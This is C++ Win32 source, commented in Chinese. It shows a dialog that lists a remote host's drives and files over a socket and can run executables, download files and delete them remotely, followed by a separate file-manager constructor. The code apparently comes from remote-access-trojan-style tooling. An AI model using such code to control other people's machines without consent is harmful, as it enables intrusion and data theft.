////////////////////////////////////////////////////////////////////////// //文件管理窗口过程 ////////////////////////////////////////////////////////////////////////// LRESULT CALLBACK FileDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) { HWND hList = NULL; HWND hSBar = NULL; LPNMHDR lPnmhdr = NULL; switch (uMsg) { case WM_COMMAND: { switch(LOWORD(wParam)) { case ID_POPUP_40001: { //打开(EXE运行) hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); char szFile[NAMESIZE] = {0}; char szType[10] = {0}; ListView_GetItemText(hList,index,0,szType,sizeof(szType)); ListView_GetItemText(hList,index,1,szFile,NAMESIZE); FileOpen(sockfd,szFile,szType); } break; case ID_POPUP_40002: { //返回 FolderBack(sockfd); } break; case ID_POPUP_40004: { //下载 hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); char szFile[NAMESIZE] = {0}; ListView_GetItemText(hList,index,1,szFile,NAMESIZE); sprintf(szFname,"%s",szFile); FileDownLoad(sockfd,szFile); } break; case ID_POPUP_40005: { //删除 hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); char szFile[NAMESIZE] = {0}; ListView_GetItemText(hList,index,1,szFile,NAMESIZE); FileDelete(sockfd,szFile); } break; } } break; case WM_SOCKET: { switch(LOWORD(lParam)) { case FD_WRITE: { //继续发送 SendCmd(sockfd,NULL,NULL); } break; case FD_READ: { RecvCmd(sockfd); } break; case FD_CLOSE: { //SOCKET出错处理,MainFunc.H里 清理缓冲区 SocketError(sockfd); EndDialog(hDlg,NULL); } break; } } break; case WM_NOTIFY: { lPnmhdr = (LPNMHDR)lParam; hList = GetDlgItem(hDlg,IDC_LIST1); if (lPnmhdr->hwndFrom==hList) { switch (lPnmhdr->code) { case NM_DBLCLK: { hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); int count = ListView_GetItemCount(hList); char szType[10] = {0}; ListView_GetItemText(hList,index,0,szType,sizeof(szType)); if (strcmp(szType,"FILE")==0) { break; } if (index<count) { char szFile[NAMESIZE] = {0}; char szType[10] = {0}; ListView_GetItemText(hList,index,0,szType,sizeof(szType)); ListView_GetItemText(hList,index,1,szFile,NAMESIZE); FileOpen(sockfd,szFile,szType); } } break; case NM_RCLICK: { HMENU hMenu = LoadMenu(hInst,MAKEINTRESOURCE(IDR_MENU1)); hMenu = GetSubMenu(hMenu,0); POINT stPos; GetCursorPos(&stPos); TrackPopupMenu(hMenu,TPM_LEFTALIGN,stPos.x,stPos.y,NULL,hDlg,NULL); } break; } } } break; case WM_INITMENUPOPUP: { switch(LOWORD(lParam)) { case 0: { //文件禁用:打开(EXE不禁用) //文件夹禁用:下载 //盘符禁用:返回 hList = GetDlgItem(hDlg,IDC_LIST1); int index = ListView_GetSelectionMark(hList); int count = ListView_GetItemCount(hList); if (index>=count && strlen(szTempPath)==0) { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_GRAYED); } else if (index>=count) { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_GRAYED); } else { char szType[NAMESIZE] = {0}; ListView_GetItemText(hList,index,0,szType,NAMESIZE); if (strcmp(szType,"DRIVE")==0) { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_GRAYED); } else if (strcmp(szType,"FOLDER")==0) { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_ENABLED); } else if (strcmp(szType,"EXE")==0) { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_ENABLED); } else { EnableMenuItem((HMENU)wParam,ID_POPUP_40001,MF_GRAYED); EnableMenuItem((HMENU)wParam,ID_POPUP_40002,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40004,MF_ENABLED); EnableMenuItem((HMENU)wParam,ID_POPUP_40005,MF_ENABLED); } } } break; } } break; case WM_INITDIALOG: { sockfd = (SOCKET)lParam; //非拥塞模式 WSAAsyncSelect(sockfd,hDlg,WM_SOCKET,FD_WRITE|FD_READ|FD_CLOSE); //获得远程主机盘符 SendDriveList(sockfd); hList = GetDlgItem(hDlg,IDC_LIST1); //初始化ListControl InitFmgrList(hList); //初始化状态栏 UpdataSBar(hDlg); } break; case WM_CLOSE: { EndDialog(hDlg,NULL); } break; default: break; } return FALSE; }
CFileManager::CFileManager(CClientSocket *pClient):CManager(pClient) { m_nTransferMode = TRANSFER_MODE_NORMAL; // 发送驱动器列表, 开始进行文件管理,建立新线程 SendDriveList(); }